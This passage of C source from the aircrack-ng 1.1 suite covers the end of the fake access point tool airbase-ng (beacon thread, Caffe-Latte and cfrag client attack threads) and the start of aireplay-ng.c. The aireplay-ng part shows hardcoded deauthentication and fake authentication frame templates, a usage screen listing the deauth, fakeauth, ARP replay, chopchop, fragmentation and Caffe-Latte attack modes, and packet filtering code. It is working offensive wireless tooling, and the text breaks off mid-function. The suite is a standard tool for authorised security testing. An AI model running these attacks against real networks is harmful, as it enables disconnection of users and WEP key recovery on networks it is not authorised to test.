opt.r_nbpps = 500; } if (opt.record_data) if( dump_initialize( opt.dump_prefix ) ) return( 1 ); if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } dev.dv_ti = ti_open(NULL); if(!dev.dv_ti) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s\n", ti_name(dev.dv_ti)); } //Set MTU on tun/tap interface to a preferred value if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } if( ti_set_mtu(dev.dv_ti, opt.ti_mtu) != 0) { if(!opt.quiet) { printf( "error setting MTU on %s\n", ti_name(dev.dv_ti)); } opt.ti_mtu = ti_get_mtu(dev.dv_ti); if(!opt.quiet) { PCT; printf( "MTU on %s remains at %i\n", ti_name(dev.dv_ti), opt.ti_mtu); } } //Set MTU on wireless interface to a preferred value if( wi_get_mtu(_wi_out) < opt.wif_mtu ) { if(!opt.quiet) { PCT; printf( "Trying to set MTU on %s to %i\n", _wi_out->wi_interface, opt.wif_mtu); } if( wi_set_mtu(_wi_out, opt.wif_mtu) != 0 ) { opt.wif_mtu = wi_get_mtu(_wi_out); if(!opt.quiet) { printf( "error setting MTU on %s\n", _wi_out->wi_interface); PCT; printf( "MTU on %s remains at %i\n", _wi_out->wi_interface, opt.wif_mtu); } } } if(opt.external) { dev.dv_ti2 = ti_open(NULL); if(!dev.dv_ti2) { printf( "error opening tap device: %s\n", strerror( errno ) ); return -1; } if(!opt.quiet) { PCT; printf( "Created tap interface %s for external processing.\n", ti_name(dev.dv_ti2)); printf( "You need to get the interfaces up, read the fames [,modify]\n"); printf( "and send them back through the same interface \"%s\".\n", ti_name(dev.dv_ti2)); } } if(opt.channel > 0) wi_set_channel(_wi_out, opt.channel); if( memcmp( opt.r_bssid, NULL_MAC, 6) == 0 && !opt.adhoc) { wi_get_mac( _wi_out, opt.r_bssid); } if( memcmp( opt.r_smac, NULL_MAC, 6) == 0 ) { wi_get_mac( _wi_out, opt.r_smac); } if(opt.adhoc) { for(i=0; i<6; i++) //random cell opt.r_bssid[i] = rand() & 0xFF; //generate an even first byte if(opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01; } memcpy(apc.bssid, opt.r_bssid, 6); if( getESSIDcount() == 1 && opt.hidden != 1) { fessid = getESSID(&(apc.essid_len)); apc.essid = (char*) malloc(apc.essid_len + 1); memcpy(apc.essid, fessid, apc.essid_len); apc.essid[apc.essid_len] = 0x00; } else { apc.essid = "\x00"; apc.essid_len = 1; } apc.interval = opt.interval; apc.capa[0] = 0x00; if(opt.adhoc) apc.capa[0] |= 0x02; else apc.capa[0] |= 0x01; if( (opt.crypt == CRYPT_WEP && opt.setWEP == -1) || opt.setWEP == 1 ) apc.capa[0] |= 0x10; apc.capa[1] = 0x04; if(ti_set_mac(dev.dv_ti, opt.r_bssid) != 0) { printf("\n"); perror("ti_set_mac failed"); printf("You most probably want to set the MAC of your TAP interface.\n"); printf("ifconfig hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n", opt.r_bssid[0], opt.r_bssid[1], opt.r_bssid[2], opt.r_bssid[3], opt.r_bssid[4], opt.r_bssid[5]); } if(opt.external) { if(ti_set_mac(dev.dv_ti2, (unsigned char*)"\xba\x98\x76\x54\x32\x10") != 0) { printf("Couldn't set MAC on interface \"%s\".\n", ti_name(dev.dv_ti2)); } } //start sending beacons if( pthread_create( &(beaconpid), NULL, (void *) beacon_thread, (void *) &apc ) != 0 ) { perror("Beacons pthread_create"); return( 1 ); } if( opt.caffelatte ) { arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) ); if( pthread_create( &(caffelattepid), NULL, (void *) caffelatte_thread, NULL ) != 0 ) { perror("Caffe-Latte pthread_create"); return( 1 ); } } if( opt.cf_attack ) { if( pthread_create( &(cfragpid), NULL, (void *) cfrag_thread, NULL ) != 0 ) { perror("cfrag pthread_create"); return( 1 ); } } if( !opt.quiet ) { if(opt.adhoc) { PCT; printf("Sending beacons in Ad-Hoc mode for Cell %02X:%02X:%02X:%02X:%02X:%02X.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } else { PCT; printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X started.\n", opt.r_bssid[0],opt.r_bssid[1],opt.r_bssid[2],opt.r_bssid[3],opt.r_bssid[4],opt.r_bssid[5]); } } for( ; ; ) { if(opt.s_file != NULL) { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { PCT; printf("Finished reading input file %s.\n", opt.s_file); opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } packet_recv( h80211, caplen, &apc, (opt.external & EXT_IN)); msleep( 1000/opt.r_nbpps ); continue; } FD_ZERO( &read_fds ); FD_SET( dev.fd_in, &read_fds ); FD_SET(ti_fd(dev.dv_ti), &read_fds ); if(opt.external) { FD_SET(ti_fd(dev.dv_ti2), &read_fds ); ret_val = select( MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1, &read_fds, NULL, NULL, NULL ); } else ret_val = select( MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL ); if( ret_val < 0 ) break; if( ret_val > 0 ) { if( FD_ISSET(ti_fd(dev.dv_ti), &read_fds ) ) { len = ti_read(dev.dv_ti, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit(buffer, len); } } if( opt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds ) ) { len = ti_read(dev.dv_ti2, buffer, sizeof( buffer ) ); if( len > 0 ) { packet_xmit_external(buffer, len, &apc); } } if( FD_ISSET( dev.fd_in, &read_fds ) ) { len = read_packet( buffer, sizeof( buffer ) ); if( len > 0 ) { packet_recv( buffer, len, &apc, (opt.external & EXT_IN)); } } } //if( ret_val > 0 ) } //for( ; ; ) ti_close( dev.dv_ti ); /* that's all, folks */ return( 0 ); } aircrack-ng-1.1/src/aireplay-ng.c0000644000000000000000000056061311355271630015413 0ustar rootroot/* * 802.11 WEP replay & injection attacks * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * WEP decryption attack (chopchop) developed by KoreK * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #if defined(linux) #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "version.h" #include "pcap.h" #include "osdep/osdep.h" #include "crypto.h" #include "common.h" #define RTC_RESOLUTION 8192 #define REQUESTS 30 #define MAX_APS 20 #define NEW_IV 1 #define RETRY 2 #define ABORT 3 #define DEAUTH_REQ \ "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00" #define AUTH_REQ \ "\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00" #define ASSOC_REQ \ "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00" #define NULL_DATA \ "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B" #define RTS \ "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" #define RATES \ "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C" #define PROBE_REQ \ "\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \ "\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00" #define RATE_NUM 12 #define RATE_1M 1000000 #define RATE_2M 2000000 #define RATE_5_5M 5500000 #define RATE_11M 11000000 #define RATE_6M 6000000 #define RATE_9M 9000000 #define RATE_12M 12000000 #define RATE_18M 18000000 #define RATE_24M 24000000 #define RATE_36M 36000000 #define RATE_48M 48000000 #define RATE_54M 54000000 int bitrates[RATE_NUM]={RATE_1M, RATE_2M, RATE_5_5M, RATE_6M, RATE_9M, RATE_11M, RATE_12M, RATE_18M, RATE_24M, RATE_36M, RATE_48M, RATE_54M}; extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); extern char * searchInside(const char * dir, const char * filename); extern int maccmp(unsigned char *mac1, unsigned char *mac2); extern unsigned char * getmac(char * macAddress, int strict, unsigned char * mac); extern int check_crc_buf( unsigned char *buf, int len ); extern const unsigned long int crc_tbl[256]; extern const unsigned char crc_chop_tbl[256][4]; char usage[] = "\n" " %s - (C) 2006, 2007, 2008, 2009 Thomas d\'Otreppe\n" " Original work: Christophe Devine\n" " http://www.aircrack-ng.org\n" "\n" " usage: aireplay-ng \n" "\n" " Filter options:\n" "\n" " -b bssid : MAC address, Access Point\n" " -d dmac : MAC address, Destination\n" " -s smac : MAC address, Source\n" " -m len : minimum packet length\n" " -n len : maximum packet length\n" " -u type : frame control, type field\n" " -v subt : frame control, subtype field\n" " -t tods : frame control, To DS bit\n" " -f fromds : frame control, From DS bit\n" " -w iswep : frame control, WEP bit\n" " -D : disable AP detection\n" "\n" " Replay options:\n" "\n" " -x nbpps : number of packets per second\n" " -p fctrl : set frame control word (hex)\n" " -a bssid : set Access Point MAC address\n" " -c dmac : set Destination MAC address\n" " -h smac : set Source MAC address\n" " -g value : change ring buffer size (default: 8)\n" " -F : choose first matching packet\n" "\n" " Fakeauth attack options:\n" "\n" " -e essid : set target AP SSID\n" " -o npckts : number of packets per burst (0=auto, default: 1)\n" " -q sec : seconds between keep-alives\n" " -y prga : keystream for shared key auth\n" " -T n : exit after retry fake auth request n time\n" "\n" " Arp Replay attack options:\n" "\n" " -j : inject FromDS packets\n" "\n" " Fragmentation attack options:\n" "\n" " -k IP : set destination IP in fragments\n" " -l IP : set source IP in fragments\n" "\n" " Test attack options:\n" "\n" " -B : activates the bitrate test\n" "\n" /* " WIDS evasion options:\n" " -y value : Use packets older than n packets\n" " -z : Ghosting\n" "\n" */ " Source options:\n" "\n" " -i iface : capture packets from this interface\n" " -r file : extract packets from this pcap file\n" "\n" " Miscellaneous options:\n" "\n" " -R : disable /dev/rtc usage\n" "\n" " Attack modes (numbers can still be used):\n" "\n" " --deauth count : deauthenticate 1 or all stations (-0)\n" " --fakeauth delay : fake authentication with AP (-1)\n" " --interactive : interactive frame selection (-2)\n" " --arpreplay : standard ARP-request replay (-3)\n" " --chopchop : decrypt/chopchop WEP packet (-4)\n" " --fragment : generates valid keystream (-5)\n" " --caffe-latte : query a client for new IVs (-6)\n" " --cfrag : fragments against a client (-7)\n" " --test : tests injection and quality (-9)\n" "\n" " --help : Displays this usage screen\n" "\n"; struct options { unsigned char f_bssid[6]; unsigned char f_dmac[6]; unsigned char f_smac[6]; int f_minlen; int f_maxlen; int f_type; int f_subtype; int f_tods; int f_fromds; int f_iswep; int r_nbpps; int r_fctrl; unsigned char r_bssid[6]; unsigned char r_dmac[6]; unsigned char r_smac[6]; unsigned char r_dip[4]; unsigned char r_sip[4]; char r_essid[33]; int r_fromdsinj; char r_smac_set; char ip_out[16]; //16 for 15 chars + \x00 char ip_in[16]; int port_out; int port_in; char *iface_out; char *s_face; char *s_file; uchar *prga; int a_mode; int a_count; int a_delay; int f_retry; int ringbuffer; int ghost; int prgalen; int delay; int npackets; int fast; int bittest; int nodetect; int rtc; } opt; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; unsigned char mac_in[6]; unsigned char mac_out[6]; int is_wlanng; int is_hostap; int is_madwifi; int is_madwifing; int is_bcm43xx; FILE *f_cap_in; struct pcap_file_header pfh_in; } dev; static struct wif *_wi_in, *_wi_out; struct ARP_req { unsigned char *buf; int hdrlen; int len; }; struct APt { unsigned char set; unsigned char found; unsigned char len; unsigned char essid[255]; unsigned char bssid[6]; unsigned char chan; unsigned int ping[REQUESTS]; int pwr[REQUESTS]; }; struct APt ap[MAX_APS]; unsigned long nb_pkt_sent; unsigned char h80211[4096]; unsigned char tmpbuf[4096]; unsigned char srcbuf[4096]; char strbuf[512]; uchar ska_auth1[] = "\xb0\x00\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xb0\x01\x01\x00\x01\x00\x00\x00"; uchar ska_auth3[4096] = "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\xc0\x01"; int ctrl_c, alarmed; char * iwpriv; void sighandler( int signum ) { if( signum == SIGINT ) ctrl_c++; if( signum == SIGALRM ) alarmed++; } int reset_ifaces() { //close interfaces if(_wi_in != _wi_out) { if(_wi_in) { wi_close(_wi_in); _wi_in = NULL; } if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; } } else { if(_wi_out) { wi_close(_wi_out); _wi_out = NULL; _wi_in = NULL; } } /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); return 0; } int set_bitrate(struct wif *wi, int rate) { int i, newrate; if( wi_set_rate(wi, rate) ) return 1; // if( reset_ifaces() ) // return 1; //Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M instead if (rate == 5500000 && wi_get_rate(wi) != 5500000) { if( wi_set_rate(wi, 5000000) ) return 1; } newrate = wi_get_rate(wi); for(i=0; i0 ) { if(bitrates[i-1] >= newrate) { printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n", (rate/1000000.0), (wi_get_rate(wi)/1000000.0)); return 1; } } if( i 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0) { pkt[22] = (nb_pkt_sent & 0x0000000F) << 4; pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4; } if (wi_write(wi, buf, count, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count, struct rx_info *ri) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, ri); if (rc == -1) { switch (errno) { case EAGAIN: return 0; } perror("wi_read()"); return -1; } return rc; } void read_sleep( int usec ) { struct timeval tv, tv2, tv3; int caplen; fd_set rfds; gettimeofday(&tv, NULL); gettimeofday(&tv2, NULL); tv3.tv_sec=0; tv3.tv_usec=10000; while( ((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) < (usec) ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 ) { continue; } if( FD_ISSET( dev.fd_in, &rfds ) ) caplen = read_packet( h80211, sizeof( h80211 ), NULL ); gettimeofday(&tv2, NULL); } } int filter_packet( unsigned char *h80211, int caplen ) { int z, mi_b, mi_s, mi_d, ext=0, qos; if(caplen <= 0) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) { qos = 1; /* 802.11e QoS */ z+=2; } if( (h80211[0] & 0x0C) == 0x08) //if data packet ext = z-24; //how many bytes longer than default ieee80211 header /* check length */ if( caplen-ext < opt.f_minlen || caplen-ext > opt.f_maxlen ) return( 1 ); /* check the frame control bytes */ if( ( h80211[0] & 0x0C ) != ( opt.f_type << 2 ) && opt.f_type >= 0 ) return( 1 ); if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS) opt.f_subtype >= 0 ) return( 1 ); if( ( h80211[1] & 0x01 ) != ( opt.f_tods ) && opt.f_tods >= 0 ) return( 1 ); if( ( h80211[1] & 0x02 ) != ( opt.f_fromds << 1 ) && opt.f_fromds >= 0 ) return( 1 ); if( ( h80211[1] & 0x40 ) != ( opt.f_iswep << 6 ) && opt.f_iswep >= 0 ) return( 1 ); /* check the extended IV (TKIP) flag */ if( opt.f_type == 2 && opt.f_iswep == 1 && ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 ); /* MAC address checking */ switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; break; default: mi_b = 10; mi_d = 16; mi_s = 24; break; } if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_smac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_s, opt.f_smac, 6 ) != 0 ) return( 1 ); if( memcmp( opt.f_dmac, NULL_MAC, 6 ) != 0 ) if( memcmp( h80211 + mi_d, opt.f_dmac, 6 ) != 0 ) return( 1 ); /* this one looks good */ return( 0 ); } int wait_for_beacon(uchar *bssid, uchar *capa, char *essid) { int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0; uchar pkt_sniff[4096]; struct timeval tv,tv2; char essid2[33]; gettimeofday(&tv, NULL); while (1) { len = 0; while (len < 22) { len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL); gettimeofday(&tv2, NULL); if(((tv2.tv_sec-tv.tv_sec)*1000000) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame { return -1; } if(len <= 0) usleep(1); } if (! memcmp(pkt_sniff, "\x80", 1)) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 3 && pos < len-2); if(tagtype != 3) continue; if(taglen != 1) continue; if(pos+2+taglen > len) continue; chan = pkt_sniff[pos+2]; if(essid) { pos = 0; taglen = 22; //initial value to get the fixed tags parsing started taglen+= 12; //skip fixed tags in frames do { pos += taglen + 2; tagtype = pkt_sniff[pos]; taglen = pkt_sniff[pos+1]; } while(tagtype != 0 && pos < len-2); if(tagtype != 0) continue; if(taglen <= 1) { if (memcmp(bssid, pkt_sniff+10, 6) == 0) break; else continue; } if(pos+2+taglen > len) continue; if(taglen > 32)taglen = 32; if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0) { break; } /* if bssid is given, copy essid */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); break; } /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */ if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen) { memset(essid, 0, 33); memcpy(essid, pkt_sniff+pos+2, taglen); memcpy(bssid, pkt_sniff+10, 6); printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid); break; } /* if essid and bssid are given, check both */ if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0) { memset(essid2, 0, 33); memcpy(essid2, pkt_sniff+pos+2, taglen); if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen) break; else { printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid); printf("Using the given one, double check it to be sure its correct!\n"); break; } } } } } if(capa) memcpy(capa, pkt_sniff+34, 2); return chan; } /** if bssid != NULL its looking for a beacon frame */ int attack_check(uchar* bssid, char* essid, uchar* capa, struct wif *wi) { int ap_chan=0, iface_chan=0; iface_chan = wi_get_channel(wi); if(bssid != NULL) { ap_chan = wait_for_beacon(bssid, capa, essid); if(ap_chan < 0) { PCT; printf("No such BSSID available.\n"); return -1; } if(ap_chan != iface_chan) { PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan); return -1; } } return 0; } int getnet( uchar* capa, int filter, int force) { unsigned char *bssid; if(opt.nodetect) return 0; if(filter) bssid = opt.f_bssid; else bssid = opt.r_bssid; if( memcmp(bssid, NULL_MAC, 6) ) { PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n", bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in)); } else if(strlen(opt.r_essid) > 0) { PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in)); } else if(force) { PCT; if(filter) { printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n"); } else { printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n"); } return( 1 ); } else return 0; if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0) { if(memcmp(bssid, NULL_MAC, 6)) { if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32) { printf( "Please specify an ESSID (-e).\n" ); } } if(!memcmp(bssid, NULL_MAC, 6)) { if(strlen(opt.r_essid) > 0) { printf( "Please specify a BSSID (-a).\n" ); } } return( 1 ); } return 0; } int xor_keystream(uchar *ph80211, uchar *keystream, int len) { int i=0; for (i=0; i 0 ) { tr = time( NULL ); printf( "\rRead %ld packets...\r", nb_pkt_read ); fflush( stdout ); } if( opt.s_file == NULL ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 1; tv.tv_usec = 0; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) continue; gettimeofday( &tv, NULL ); *caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( *caplen < 0 ) return( 1 ); if( *caplen == 0 ) continue; } else { /* there are no hidden backdoors in this source code */ n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( pkh.caplen ); tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = *caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); return( 1 ); } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { printf( "\r\33[KEnd of file.\n" ); return( 1 ); } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) *caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) *caplen ) continue; memcpy( tmpbuf, h80211, *caplen ); *caplen -= n; memcpy( h80211, tmpbuf + n, *caplen ); } } nb_pkt_read++; if( filter_packet( h80211, *caplen ) != 0 ) continue; if(opt.fast) break; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: mi_b = 16; mi_s = 10; mi_d = 4; is_wds = 0; break; case 1: mi_b = 4; mi_s = 10; mi_d = 16; is_wds = 0; break; case 2: mi_b = 10; mi_s = 16; mi_d = 4; is_wds = 0; break; case 3: mi_t = 10; mi_r = 4; mi_d = 16; mi_s = 24; is_wds = 1; break; // WDS packet } printf( "\n\n Size: %d, FromDS: %d, ToDS: %d", *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { // if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33 // else key_index_offset = 27; key_index_offset = z+3; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } printf( "\n\n" ); if (is_wds) { printf( " Transmitter = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_t ], h80211[mi_t + 1], h80211[mi_t + 2], h80211[mi_t + 3], h80211[mi_t + 4], h80211[mi_t + 5] ); printf( " Receiver = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_r ], h80211[mi_r + 1], h80211[mi_r + 2], h80211[mi_r + 3], h80211[mi_r + 4], h80211[mi_r + 5] ); } else { printf( " BSSID = %02X:%02X:%02X:%02X:%02X:%02X\n", h80211[mi_b ], h80211[mi_b + 1], 